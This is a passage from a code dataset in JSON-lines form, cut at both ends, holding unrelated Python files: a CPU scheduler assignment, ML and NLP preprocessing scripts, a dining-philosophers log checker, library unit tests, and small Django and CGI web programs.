self.doneQueue:\n\t\t\tif r is not None:\n\t\t\t\tlength = length + 1\n\t\t\t\twaitTime = waitTime + r.waitingTime\n\t\treturn (waitTime, length)\n\n\tdef getTurnaroundTime(self):\n\t\t# calculate the turnaround time in terms of a tuple with\n\t\t# separate turnaround times, #processes\n\t\tturnAroundTime = 0\n\t\tlength = 0\n\t\tfor r in self.doneQueue:\n\t\t\tif r is not None:\n\t\t\t\tlength = length + 1\n\t\t\t\tturnAroundTime = turnAroundTime + r.turnaroundTime()\n\t\treturn (turnAroundTime, length)\n\ndef testNPScheduler(tasks, policy):\n\t# the tuples are release time, cpuBurst, taskName\n\tnClocks = 20\n\tscheduler = NPScheduler(nClocks, policy)\n\n\tfor t in tasks:\n\t\tscheduler.addTask(t)\n\n\tfor clock in scheduler.clockGen():\n\t\tpass\n\n\t# the next three lines are for testing part 2.5\n\tthruput = scheduler.getThroughput()\n\twaittime = scheduler.getWaitTime()\n\tturnaround = scheduler.getTurnaroundTime()\n\n\tprint('nonpreemptive %s: %s' % (scheduler.policy, scheduler.getSchedule()))\n\n\t# the next line is for testing part 2.5\n\tprint(' thruput = %s = %.2f, waittimes = %s = %.2f, turnaroundtime = %s = %.2f'\\\n\t % (thruput, thruput[0]/thruput[1],\n\t waittime, waittime[0]/waittime[1],\n\t turnaround, turnaround[0]/turnaround[1]))\n\nif __name__ == '__main__':\n\ttasks = [Task(*i) for i in [('A', 0, 7), ('B', 2, 4), ('C', 4, 1), ('D', 5, 4)]]\n\tprint('tasks = %s' % tasks)\n\tfor policy in ['SJF', 'FCFS', 'RR']:\n\t\ttasks = [Task(*i) for i in [('A', 0, 7), ('B', 2, 4), ('C', 4, 1), ('D', 5, 4)]]\n\t\ttestNPScheduler(tasks, policy)\n","sub_path":"HW6/104062203-hw6/npsched.py","file_name":"npsched.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"362178631","text":"from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.gaussian_process import GaussianProcessClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\n\nfrom os.path import join as pj\n\n# old/original config\n# DATA_PATH = 'F:\\dane inz\\DEAP (Database for Emotion Analysis using Physiological Signals)\\data_preprocessed_python'\n# ORIGINALS_PATH = 'F:\\dane inz\\DEAP (Database for Emotion Analysis using Physiological Signals)\\data_original_bdf'\n# OUT_FILE = 'F:\\dane inz\\DEAP (Database for Emotion Analysis using Physiological Signals)\\processed.dat'\n\n\n# base dir for all the data and output files\nBASE_DIR_DATA = '/home/gros/studia/eaiib_5/wshop/data'\n\n# files from experiments\nPATH_DATA = '2018-afcai-spring'\nPATH_PICTURES = 'NAPS_valence_arousal_2014.csv'\n\n# may be any writable path that EXISTS and arbitrary filename\nPICKLED_DATA_RESTING = 'geist_preproc/preprocessed_geist_resting.pickle'\nPICKLED_DATA_EMOTIONIZED = 'geist_preproc/preprocessed_geist_emotionized.pickle'\nPICKLED_DATA_PICTURES = 'geist_preproc/preprocessed_geist_pictures.pickle'\nPICKLED_PREPROCESSED = 'geist_preproc/preprocessed_data.pickle'\n\n# any writable directory that EXISTS\nNEUROKIT_PATH = 'neurokit'\n\n# ---------- make absolute paths\nPATH_DATA = pj(BASE_DIR_DATA, PATH_DATA)\nPATH_PICTURES = pj(BASE_DIR_DATA, PATH_PICTURES)\nPICKLED_DATA_RESTING = pj(BASE_DIR_DATA, PICKLED_DATA_RESTING)\nPICKLED_DATA_EMOTIONIZED = pj(BASE_DIR_DATA, PICKLED_DATA_EMOTIONIZED)\nPICKLED_DATA_PICTURES = pj(BASE_DIR_DATA, PICKLED_DATA_PICTURES)\nNEUROKIT_PATH = pj(BASE_DIR_DATA, NEUROKIT_PATH)\nOUT_FILE = pj(BASE_DIR_DATA, PICKLED_PREPROCESSED)\n# ---------- \n\nDO_LOGS = 1\n\n# FREQUENCY\nDATA_FREQUENCY = 128\n\n# SWITCHES\nNEED_PREPROCESSING = True\nEXTRACT_ALL_FEATURES = False\nSHOW_PLOTS = False\n\n# SIGNAL TRIMMING\nSIGNAL_BEGIN = 1\nSIGNAL_END = 8\n\n# MACHINE LEARNING\nVALIDATION_SIZE = 0.2\nSEED = 1\n\n# INITIAL ESTIMATORS TO VALIDATE\nINITIAL_ESTIMATORS = [\n MLPClassifier,\n KNeighborsClassifier,\n SVC,\n GaussianProcessClassifier,\n DecisionTreeClassifier,\n RandomForestClassifier,\n GaussianNB,\n QuadraticDiscriminantAnalysis\n]\n\nOPTIMIZED_ESTIMATORS = [\n (SVC, {\n 'random_state': 1,\n 'kernel': 'linear',\n 'C': 0.1,\n 'probability': True,\n 'decision_function_shape': 'ovo'\n }),\n (MLPClassifier, {\n 'random_state': 1,\n 'activation': 'identity',\n 'solver': 'lbfgs',\n 'hidden_layer_sizes': (100, 100),\n 'alpha': 0\n }),\n (GaussianProcessClassifier, {\n 'random_state': 1,\n 'optimizer': None,\n 'max_iter_predict': 2,\n 'multi_class': 'one_vs_rest'\n }),\n (DecisionTreeClassifier, {\n 'random_state': 1,\n 'criterion': 'gini',\n 'max_depth': 7,\n 'splitter': 'random',\n 'presort': True\n })\n]\n\n# MISCELLANEOUS\nCPU_CORES_NUM = 2\n\n# possible values are: valence, arousal, both\nCLASSIFICATION_METHOD = \"both\"\n","sub_path":"emotion_predictor/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"268876772","text":"import pandas as pd\nimport re\nimport nltk\nfrom collections import OrderedDict\nfrom nltk.corpus import stopwords\nfrom collections import Counter\nfrom urllib.parse import urlparse\nfrom nltk.corpus import stopwords\nimport numpy as np\nfrom nltk.stem import WordNetLemmatizer\n\nfrom nltk.corpus import wordnet\nlemmatizer = WordNetLemmatizer()\n\ndef get_wordnet_pos(word):\n \"\"\"Map POS tag to first character lemmatize() accepts\"\"\"\n tag = nltk.pos_tag([word])[0][1][0].upper()\n tag_dict = {\"J\": wordnet.ADJ,\n \"N\": wordnet.NOUN,\n \"V\": wordnet.VERB,\n \"R\": wordnet.ADV}\n\n return tag_dict.get(tag, wordnet.NOUN)\n\n\n\nSTOPWORDS = set(stopwords.words('english'))\n\n\ndef remove_emoji(string):\n emoji_pattern = re.compile(\"[\"\n u\"\\U0001F600-\\U0001F64F\" # emoticons\n u\"\\U0001F300-\\U0001F5FF\" # symbols & pictographs\n u\"\\U0001F680-\\U0001F6FF\" # transport & map symbols\n u\"\\U0001F1E0-\\U0001F1FF\" # flags (iOS)\n u\"\\U00002702-\\U000027B0\"\n u\"\\U000024C2-\\U0001F251\"\n \"]+\", flags=re.UNICODE)\n return emoji_pattern.sub(r'', string)\n\n\ndef remove_stopwords(text):\n return \" \".join([word for word in str(text).split() if word not in STOPWORDS])\n\n\n\n\n\n\n\n##lunghezza tweet\n\n#read file --> define the position of the file the position below IS ONLY AN EXAMPLE!!\ndf = pd.read_csv('#food.csv', sep=',') \n\ndf['tweet'] = df['tweet'].apply(str)\n\n\ndf['tweet'] = df['tweet'].str.lower()\n\ndf = df.drop_duplicates(subset=['tweet'])\n\ndf['tweet'] = df['tweet'].apply(lambda x: re.split('https:\\/\\/.*', str(x))[0])\ndf['tweet'] = df['tweet'].apply(lambda x: re.split('http:\\/\\/.*', str(x))[0])\ndf['tweet'] = df['tweet'].apply(lambda x: re.split('www:\\/\\/.*', str(x))[0])\ndf['tweet'] = df['tweet'].apply(lambda x: re.split('html:\\/\\/.*', str(x))[0])\ndf['tweet'] = df['tweet'].str.replace(r'\\S*twitter.com\\S*', '')\n\n\n\n\n\ndf[\"tweet\"] = df[\"tweet\"].apply(remove_stopwords)\ndf['tweet'] = df['tweet'].apply(remove_emoji)\n\n\ndf['tweet'] = df['tweet'].str.replace('[^a-zA-Z0-9]', r' ')\n\navg_word_len = []\nfor i in range(len(df)):\n t = nltk.word_tokenize(df[\"tweet\"].iloc[i])\n word_len = []\n for item in t:\n word_len.append(len(item))\n avg_word_len.append(np.mean(word_len))\nprint(avg_word_len)\ndf[\"avg_word_len\"] = avg_word_len\n\n\n\ndf['tweet']= df['tweet'].str.replace(r'\\s+', ' ')\n\n\ndf = df[df.tweet !='']\n\n\ntweet = []\nfor i in range(len(df)):\n sentence = df[\"tweet\"].iloc[i]\n tweet.append([lemmatizer.lemmatize(w, get_wordnet_pos(w)) for w in nltk.word_tokenize(sentence)])\n\ndf[\"tweet\"] = tweet\n\n\ndf.to_csv('food.csv',index=False, sep=',', encoding='utf-8', columns=['label', 'tweet'])\n\n","sub_path":"pre.py","file_name":"pre.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"252058029","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d import proj3d\nfrom sklearn import gaussian_process\n\n\n\n\n# plot initials\nfig = plt.figure(figsize=(10,8))\nax = fig.add_subplot(111, projection='3d')\n\nnp.set_printoptions(precision=3, suppress=True)\n\nY = np.loadtxt(\"velocity3X\", unpack=True)\n\n\nX = Y[:,:2]\n\ny = Y[:,2]\n\nx_min = X[:,0].min()\nx_max = X[:,0].max()\ny_min = X[:,1].min()\ny_max = X[:,1].max()\n\n\ngp = gaussian_process.GaussianProcess(theta0=1e-2, thetaL=1e-4, thetaU=1e-1)\ngp.fit(X, y)\n\n\nn_samples = 50\nfor i in np.linspace(y_min, y_max, n_samples):\n X_test = np.linspace(x_min, x_max, n_samples)\n Y_test = np.empty(n_samples)\n Y_test.fill(i)\n\n combined = np.vstack((X_test, Y_test)).T\n\n y_ = gp.predict(combined)\n\n ax.scatter(X_test, Y_test, y_, c='r', label='Vx')\n'''\nY = np.loadtxt(\"velocity3X\", unpack=True)\n\nX = Y[:,:2]\ny = Y[:,2]\n\nx_min = X[:,0].min()\nx_max = X[:,0].max()\ny_min = X[:,1].min()\ny_max = X[:,1].max()\n\nfor i in np.linspace(y_min, y_max, n_samples):\n X_test = np.linspace(x_min, x_max, n_samples)\n Y_test = np.empty(n_samples)\n Y_test.fill(i)\n\n combined = np.vstack((X_test, Y_test)).T\n\n y_ = gp.predict(combined)\n\n ax.scatter(X_test, Y_test, y_, c='r', label='Vx')\n'''\n\n#ax.set_xlim(-6, 6)\n#ax.set_ylim(-3.5, 6)\nax.grid(True)\nax.set_xlabel(\"X-axis (cm)\")\nax.set_ylabel(\"Z-axis (cm)\")\nax.set_zlabel(\"Vx\")\nax.set_title('Velocity over X-Z plane')\n\nax.legend()\n\n\n\nplt.show()\n","sub_path":"VelocityLearning.py","file_name":"VelocityLearning.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"352041799","text":"import sys\n\nEATING = 1\nSLEEPING = 2\nTHINKING = 3\nDEAD = 4\nWAITING = 5\nfilename = \"log.log\"\n\n\nclass Philo():\n def __init__(self, num, tot):\n self.state = 0\n self.num = num\n self.f_left = num\n self.f_right = (num - 1) % tot\n self.p_left = (num + 1) % tot\n self.p_right = (num - 1) % tot\n \n if self.f_left == tot:\n self.f_left = 0\n\n if self.p_left == 0:\n self.p_left = tot\n if self.p_right == 0:\n self.p_right = tot\n \n self.time_to_die = None\n def __str__(self):\n return \"num : {} || f_left : {} || f_right : {} || p_left : {} || p_right : {}\".format(self.num, self.f_left, self.f_right, self.p_left, self.p_right)\n\n\n\nclass Checker():\n def __init__(self, filename, n_philo, time_to_die, time_to_eat, time_to_sleep, nb_eat):\n self.philos = {}\n for i in range(1, int(n_philo) + 1):\n self.philos[str(i)] = Philo(i, int(n_philo))\n self.forks = {}\n for i in range(0, int(n_philo)):\n self.forks[i] = \"free\"\n\n self.time_to_die = int(time_to_die)\n self.time_to_eat = int(time_to_eat)\n self.time_to_sleep = int(time_to_sleep)\n self.nb_eat = int(nb_eat)\n f = open(filename, \"r\")\n self.lines = f.readlines()\n f.close()\n self.nb_line = 1\n self.last_line = \"\"\n\n\n def __str__(self):\n ret = \"philos : \\n\"\n for key, val in self.philos.items():\n ret += \"\\t{} : {}\\n\".format(key, val.__str__())\n ret += \"forks : {}\".format(self.forks)\n return ret\n def check(self):\n try:\n for line in self.lines:\n self.last_line = line\n tab = line.split()\n self.update_philos(tab)\n self.nb_line += 1\n except Exception as e:\n self.problem = e.__str__()\n return False\n return True\n \n def take_fork(self, philo, timestamp):\n if self.forks[philo.f_left] != \"free\":\n raise Exception (\"philo {} tried to take fork {} already_used by {}\".format(philo.num, philo.f_left, self.forks[philo.f_left]))\n self.forks[philo.f_left] = philo.num\n\n if self.forks[philo.f_right] != \"free\":\n raise Exception (\"philo {} tried to take fork {} already_used by {}\".format(philo.num, philo.f_right, self.forks[philo.f_right]))\n self.forks[philo.f_right] = philo.num\n\n if philo.time_to_die and philo.time_to_die < int(timestamp):\n raise Exception (\"philo {} should have been dead\".format(philo.num))\n\n def die(self, philo, timestamp):\n if philo.time_to_die and philo.time_to_die + 10 < int(timestamp):\n raise Exception (\"philo {} should have been dead\".format(philo.num))\n\n\n def eat(self, philo, timestamp):\n philo.time_to_die = int(timestamp) + self.time_to_die\n if philo.time_to_die and philo.time_to_die < int(timestamp):\n raise Exception (\"philo {} should have been dead\".format(philo.num))\n\n def sleep(self, philo, timestamp):\n if philo.time_to_die and philo.time_to_die < int(timestamp):\n raise Exception (\"philo {} should have been dead\".format(philo.num))\n self.forks[philo.f_left] = \"free\"\n self.forks[philo.f_right] = \"free\"\n\n def think(self, philo, timestamp):\n if philo.time_to_die and philo.time_to_die < int(timestamp):\n raise Exception (\"philo {} should have been dead\".format(philo.num))\n\n def update_philos(self, tab):\n philo = self.philos[tab[1]]\n if tab[2] == \"has\":\n self.take_fork(philo, tab[0])\n elif tab[2] == \"died\":\n self.die(philo, tab[0])\n elif tab[2] == \"is\" and tab[3] == \"eating\":\n self.eat(philo, tab[0])\n elif tab[2] == \"is\" and tab[3] == \"sleeping\":\n self.sleep(philo, tab[0])\n elif tab[2] == \"is\" and tab[3] == \"thinking\":\n self.think(philo, tab[0])\n else:\n raise Exception(\"wrong line format\")\n\n\n\nif len(sys.argv) < 5 or len(sys.argv) > 6:\n print(\"5 or 6 args\")\n exit()\n\nif len(sys.argv) == 5:\n sys.argv.append(\"-1\")\nchecker = Checker(filename, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])\nprint(checker)\nif checker.check() == True:\n print(\"Trace ok\")\nelse:\n print(\"Trace wrong: \\n\\tline_number : {} \\n\\tline : '{}' \\n\\tproblem : {}\".format(checker.nb_line, checker.last_line, checker.problem))\n\n","sub_path":"checker.py","file_name":"checker.py","file_ext":"py","file_size_in_byte":4499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"370191581","text":"import threading\nimport time\n\nimport pytest\nimport torch\n\nfrom torchgpipe.microbatch import Batch\nfrom torchgpipe.stream import CPUStream\nfrom torchgpipe.worker import Task, spawn_workers\n\n\ndef test_join_running_workers():\n count = 0\n\n def counter():\n nonlocal count\n time.sleep(0.1)\n count += 1\n return Batch(())\n\n with spawn_workers(10) as (in_queues, out_queues):\n def call_in_worker(i, f):\n task = Task(torch.device('cpu'), CPUStream, compute=f, finalize=None)\n in_queues[i].put(task)\n\n for i in range(10):\n call_in_worker(i, counter)\n\n # There's no indeterminism because 'spawn_workers' joins all running\n # workers.\n assert count == 10\n\n\ndef test_join_running_workers_with_exception():\n class ExpectedException(Exception):\n pass\n\n count = 0\n\n def counter():\n nonlocal count\n time.sleep(0.1)\n count += 1\n return Batch(())\n\n with pytest.raises(ExpectedException):\n with spawn_workers(10) as (in_queues, out_queues):\n def call_in_worker(i, f):\n task = Task(torch.device('cpu'), CPUStream, compute=f, finalize=None)\n in_queues[i].put(task)\n\n for i in range(10):\n call_in_worker(i, counter)\n\n raise ExpectedException\n\n # There's no indeterminism because only 1 task can be placed in input\n # queues.\n assert count == 10\n\n\ndef test_compute_multithreading():\n \"\"\"Task.compute should be executed on multiple threads.\"\"\"\n thread_ids = set()\n\n def log_thread_id():\n thread_id = threading.current_thread().ident\n thread_ids.add(thread_id)\n return Batch(())\n\n with spawn_workers(2) as (in_queues, out_queues):\n t = Task(torch.device('cpu'), CPUStream, compute=log_thread_id, finalize=None)\n for i in range(2):\n in_queues[i].put(t)\n for i in range(2):\n out_queues[i].get()\n\n assert len(thread_ids) == 2\n\n\ndef test_compute_success():\n \"\"\"Task.compute returns (True, (task, batch)) on success.\"\"\"\n def _42():\n return Batch(torch.tensor(42))\n\n with spawn_workers(1) as (in_queues, out_queues):\n t = Task(torch.device('cpu'), CPUStream, compute=_42, finalize=None)\n in_queues[0].put(t)\n ok, (task, batch) = out_queues[0].get()\n\n assert ok\n assert task is t\n assert isinstance(batch, Batch)\n assert batch[0].item() == 42\n\n\ndef test_compute_exception():\n \"\"\"Task.compute returns (False, exc_info) on failure.\"\"\"\n def zero_div():\n 0/0\n\n with spawn_workers(1) as (in_queues, out_queues):\n t = Task(torch.device('cpu'), CPUStream, compute=zero_div, finalize=None)\n in_queues[0].put(t)\n ok, exc_info = out_queues[0].get()\n\n assert not ok\n assert isinstance(exc_info, tuple)\n assert issubclass(exc_info[0], ZeroDivisionError)\n\n\n@pytest.mark.parametrize('grad_mode', [True, False])\ndef test_grad_mode(grad_mode):\n def detect_grad_enabled():\n x = torch.rand(1, requires_grad=torch.is_grad_enabled())\n return Batch(x)\n\n with torch.set_grad_enabled(grad_mode):\n with spawn_workers(1) as (in_queues, out_queues):\n task = Task(torch.device('cpu'), CPUStream, compute=detect_grad_enabled, finalize=None)\n in_queues[0].put(task)\n\n ok, (_, batch) = out_queues[0].get()\n\n assert ok\n assert batch[0].requires_grad == grad_mode\n","sub_path":"tests/test_worker.py","file_name":"test_worker.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"514079717","text":"# Copyright 2015 Google Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport math\nimport os\nimport unittest\n\nimport json5\n\n\nclass Tests(unittest.TestCase):\n def check(self, s, obj):\n self.assertEqual(json5.loads(s), obj)\n\n def test_empty(self):\n self.assertRaises(ValueError, json5.loads, '')\n\n def test_hex_literals(self):\n self.check('0xf', 15)\n self.check('0xfe', 254)\n self.check('0xfff', 4095)\n self.check('0XABCD', 43981)\n self.check('0x123456', 1193046)\n\n def test_ints(self):\n self.check('1', 1)\n self.check('-1', -1)\n self.check('+1', 1)\n\n def test_floats(self):\n self.check('1.5', 1.5)\n self.check('1.5e3', 1500.0)\n self.check('-0.5e-2', -0.005)\n self.check('Infinity', float('inf'))\n self.check('-Infinity', float('-inf'))\n self.assertTrue(math.isnan(json5.loads('NaN')))\n self.assertTrue(math.isnan(json5.loads('-NaN')))\n\n def test_identifiers(self):\n self.check('{a: 1}', {'a': 1})\n self.check('{$: 1}', {'$': 1})\n self.check('{_: 1}', {'_': 1})\n self.check('{a_b: 1}', {'a_b': 1})\n self.check('{a$: 1}', {'a$': 1})\n\n self.assertRaises(Exception, self.check, '{1: 1}', None)\n\n def test_sample_file(self):\n path = os.path.join(os.path.dirname(__file__), '..', '..',\n 'sample.json5')\n with open(path) as fp:\n obj = json5.load(fp)\n self.assertEqual({\n \"oh\": [\n \"we shouldn't forget\",\n \"arrays can have\",\n \"trailing commas too\",\n ],\n \"this\": \"is a \\nmulti-line string\",\n \"delta\": 10,\n \"hex\": 3735928559,\n \"finally\": \"a trailing comma\",\n \"here\": \"is another\",\n \"to\": float(\"inf\"),\n \"while\": True,\n \"half\": 0.5,\n \"foo\": \"bar\"\n }, obj)\n\n def test_syntax_errors(self):\n try:\n json5.loads('')\n except ValueError as e:\n self.assertEqual('Empty strings are not legal JSON5',\n e.message)\n\n try:\n json5.loads('''\\\n{\"foo\":\n 14d}''')\n except ValueError as e:\n self.assertEqual(':2 Unexpected \"d\" at column 7',\n e.message)\n","sub_path":"json5/tests/json5_test.py","file_name":"json5_test.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"598869514","text":"from django.db.models.signals import post_delete, pre_save\nfrom django.dispatch import receiver\n\nfrom leasing.models import PlotSearchTarget\n\n\n@receiver(pre_save, sender=PlotSearchTarget)\ndef prepare_plan_unit_on_plot_search_target_save(sender, instance, **kwargs):\n plan_unit = instance.plan_unit\n if plan_unit.is_master:\n plan_unit.pk = None\n plan_unit.is_master = False\n plan_unit.save(skip_modified_update=True)\n instance.plan_unit = plan_unit\n\n\n@receiver(post_delete, sender=PlotSearchTarget)\ndef post_delete_plan_unit_on_plot_search_target_delete(sender, instance, **kwargs):\n instance.plan_unit.delete()\n","sub_path":"leasing/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"276860481","text":"#!/usr/bin/env python\n\"\"\"This module creates an empty canvas for the exam.\"\"\"\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\nimport numpy as np\n\n\nif __name__ == '__main__':\n\n # This is the material for the question on the marginal benefit of treatment.\n for is_canvas in [True, False]:\n ax = plt.figure().add_subplot(111)\n\n ax.set_ylim(0, 0.4)\n ax.set_yticks(np.arange(0, 0.41, 0.05))\n\n if is_canvas:\n fname = 'fig-generalized-roy-marginal-benefit-canvas.png'\n else:\n fname = 'fig-generalized-roy-marginal-benefit.png'\n\n ax.set_ylabel(r\"$B^{MTE}$\")\n ax.set_xlabel(\"$u_D$\")\n grid = np.linspace(0.01, 1, num=100, endpoint=True)\n alpha = np.full(100, 0.2)\n beta = alpha - 0.05 * norm.ppf(grid, loc=0.0, scale=1.0)\n\n ax.plot(grid, alpha, label=\"Presence\")\n ax.plot(grid, beta, label=\"Absence\")\n\n ax.yaxis.get_major_ticks()[0].set_visible(False)\n ax.set_yticklabels([])\n\n plt.legend()\n plt.savefig(fname)\n\n # This is the material for the question on the distribution of benefits and the conventional\n # average treatment effects.\n x_axis = np.arange(-2, 4, 0.001)\n\n for is_canvas in [True]:\n\n ax = plt.figure().add_subplot(111)\n\n plt.plot(x_axis, norm.pdf(x_axis, 1, 1))\n ax.set_xlim(-2, 4)\n ax.set_ylim(0.0, None)\n\n # Rename axes\n ax.set_ylabel('$f_{Y_1 - Y_0}$')\n ax.set_xlabel('$Y_1 - Y_0$')\n ax.set_yticklabels([])\n\n ax.legend()\n\n ax.yaxis.get_major_ticks()[0].set_visible(False)\n plt.tight_layout()\n plt.savefig('fig-generalized-roy-distribution-canvas.png')\n","sub_path":"tutorial/figures/fig-generalized-roy.py","file_name":"fig-generalized-roy.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"204625702","text":"import xlrd\nfrom collections import OrderedDict\nimport simplejson as json\n\n#Constants\nDialogInteractingObjectKey = 'InteractingObject'\nDialogNameKey = 'EventName'\nDialogFirstKey = 'First'\nDialogRepeatKey = 'Repeat'\nDialogContainerKey = 'Dialogs'\n\nDialogOutputFileName = 'Dialogues.json'\n\n\n#Columns\nInteractingObject = 0\nEventName = 1\nFirst = 2\nRepeat = 3\n\ndef Export(path, page, output):\n\twb = xlrd.open_workbook(path)\n# Open the workbook and select the first worksheet\n\tsh = wb.sheet_by_index(page)\n\n\tdialogs = []\n\n\tfor row in range(1, sh.nrows):\n\t\t#create\n\t\tdialog = OrderedDict()\n\n\t\t#get GetColumns\n\t\tdialog[DialogInteractingObjectKey] = sh.cell(row, InteractingObject).value\n\t\tdialog[DialogNameKey] = sh.cell(row, EventName).value\n\t\tdialog[DialogFirstKey] = sh.cell(row, First).value\n\t\tdialog[DialogRepeatKey] = sh.cell(row, Repeat).value\n\n\t\tdialogs.append(dialog)\n\n\tgameDialogs = OrderedDict()\n\tgameDialogs[DialogContainerKey] = dialogs\n\n\t# Serialize the list of dicts to JSON\n\tj = json.dumps(gameDialogs, sort_keys=True, indent=4)\n\n\t# Write to file\n\twith open('../' + output + DialogOutputFileName, 'w') as f:\n\t f.write(j)","sub_path":"Python/GameDialogs.py","file_name":"GameDialogs.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"384977247","text":"#!/usr/local/bin/python3.5\n\nimport sys\nfrom avl_tree import AVLTreeMap\n\nimport cgi, cgitb\ncgitb.enable()\n\nprint (\"Content-type: text/html\\n\\n\")\n\nfreq = AVLTreeMap()\n\nformInfo = cgi.FieldStorage()\nparagraph = formInfo.getvalue(\"paragraph\")\n#paragraph = \"yes this is bryna bryna hey, yes, this is Bryna yeah\"\n#paragraph = '''May indulgence difficulty ham can put especially. Bringing remember for supplied her why was confined. Middleton principle did she procuring extensive believing add. Weather adapted prepare oh is calling. \n#These wrong of he which there smile to my front. He fruit oh enjoy it of whose table. Cultivated occasional old her unpleasing unpleasant. At as do be against pasture covered viewing started. Enjoyed me settled mr respect no spirits civilly. '''\nif paragraph == None:\n print('')\nelse:\n lines = paragraph.lower().split('\\r\\n')\n for line in lines:\n # only consider alphabetic characters\n for word in line.split():\n if word.isalpha(): \n freq[word] = 1 + freq.get(word, 0)\n \n#for (w,c) in freq.items():\n #print (w,c)\n\nprint(\"\"\"\n\"\"\")\nstring = \"\"\nbetweenSpace = 0\ncurrentDepth = 0\nfor node in freq.breadthfirst():\n if freq.depth(node) > 6:\n break;\n else:\n if freq.depth(node) == 0 or freq.depth(node) != currentDepth:\n x = 2000/(2**(freq.depth(node)+1))\n betweenSpace = x * 2\n currentDepth = freq.depth(node)\n else:\n x = x + betweenSpace\n string += \"\"\n string +=str(node.key())+\" \"+str(node.value())\n string +=\"\"\nstring +=\"\"\nprint(string)\n \n","sub_path":"lab/lab8/labAVL.py","file_name":"labAVL.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"191398605","text":"\"\"\"\nA melting furnace converts a hollow sphere into a solid cylinder\nof 3cm diameter with a 5% loss. \nWrite a program that finds out the length of the solid cylinder when\n the inner and external radii of the hollow sphere are known\n\nVolume of sphere = 4/3 * pi * r * r * r\nVolume of cylinder = pi * r * r * height\n\"\"\"\n\ndef volume_sphere(r_ext,r_int):\n res=4*math.pi*(r_ext**3-r_int**3)/3\n return res\n\ndef volume_sphere_with_loss(vol,loss):\n res=vol*95/100\n return res\n\ndef height_cylinder(vol,radi):\n res=vol/(math.pi*(radi**2))\n return res\n\n#main pgm starts from here\nif __name__ == \"__main__\":\n import sys\n import math\n radii_cyl=3\n loss_perc=5\n radii_ext=int(sys.argv[1])\n radii_int=int(sys.argv[2])\n vol_sphere=volume_sphere(radii_ext,radii_int)\n vol_sphere_with_loss=volume_sphere_with_loss(vol_sphere,loss_perc)\n height_cyl=height_cylinder(vol_sphere_with_loss,radii_cyl)\n print('Height of cylinder=',height_cyl)\n","sub_path":"sphere_cylinder.py","file_name":"sphere_cylinder.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"409351234","text":"from django.shortcuts import render, redirect\nfrom .forms import UserRegistrationForm, UserUpdateForm, ProfileUpdateForm\nfrom .forms import BookingCreateForm\nfrom .models import Appointment\nfrom django.views.generic import CreateView\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom django.core.mail import send_mail\n\n\ndef register(request):\n if request.method == 'POST':\n form = UserRegistrationForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request, f'successfully created an account for user: {username}!')\n return redirect('blog-home')\n else:\n form = UserRegistrationForm()\n return render(request, 'Users/register.html', {'form': form})\n\n@login_required\ndef profile(request):\n if request.method == \"POST\":\n u_form = UserUpdateForm(request.POST, instance=request.user)\n p_form = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile)\n if u_form.is_valid() and p_form.is_valid():\n u_form.save()\n p_form.save()\n messages.success(request, \"Your profile has been updated!\")\n return redirect('profile')\n else:\n u_form = UserUpdateForm(instance=request.user)\n p_form = ProfileUpdateForm(instance=request.user.profile)\n\n context = {\n 'u_form': u_form,\n 'p_form': p_form\n }\n\n return render(request, 'Users/profile.html', context)\n\n\n@login_required\ndef book_appointment(request):\n if request.method == 'POST':\n form = BookingCreateForm(request.POST)\n if form.is_valid():\n for app in Appointment.objects.all():\n if app.user == request.user and app.Status == \"pending\":\n messages.error(request, f'You already have a pending appointment!', extra_tags=\"danger\")\n return redirect('book')\n form.instance.user = request.user\n form.save()\n send_mail(\n 'Appointment received',\n f'Hi {request.user.username}!\\n We have received your appointment and will be back to you shortly!\\nKind Regards, \\nDrX and Team',\n 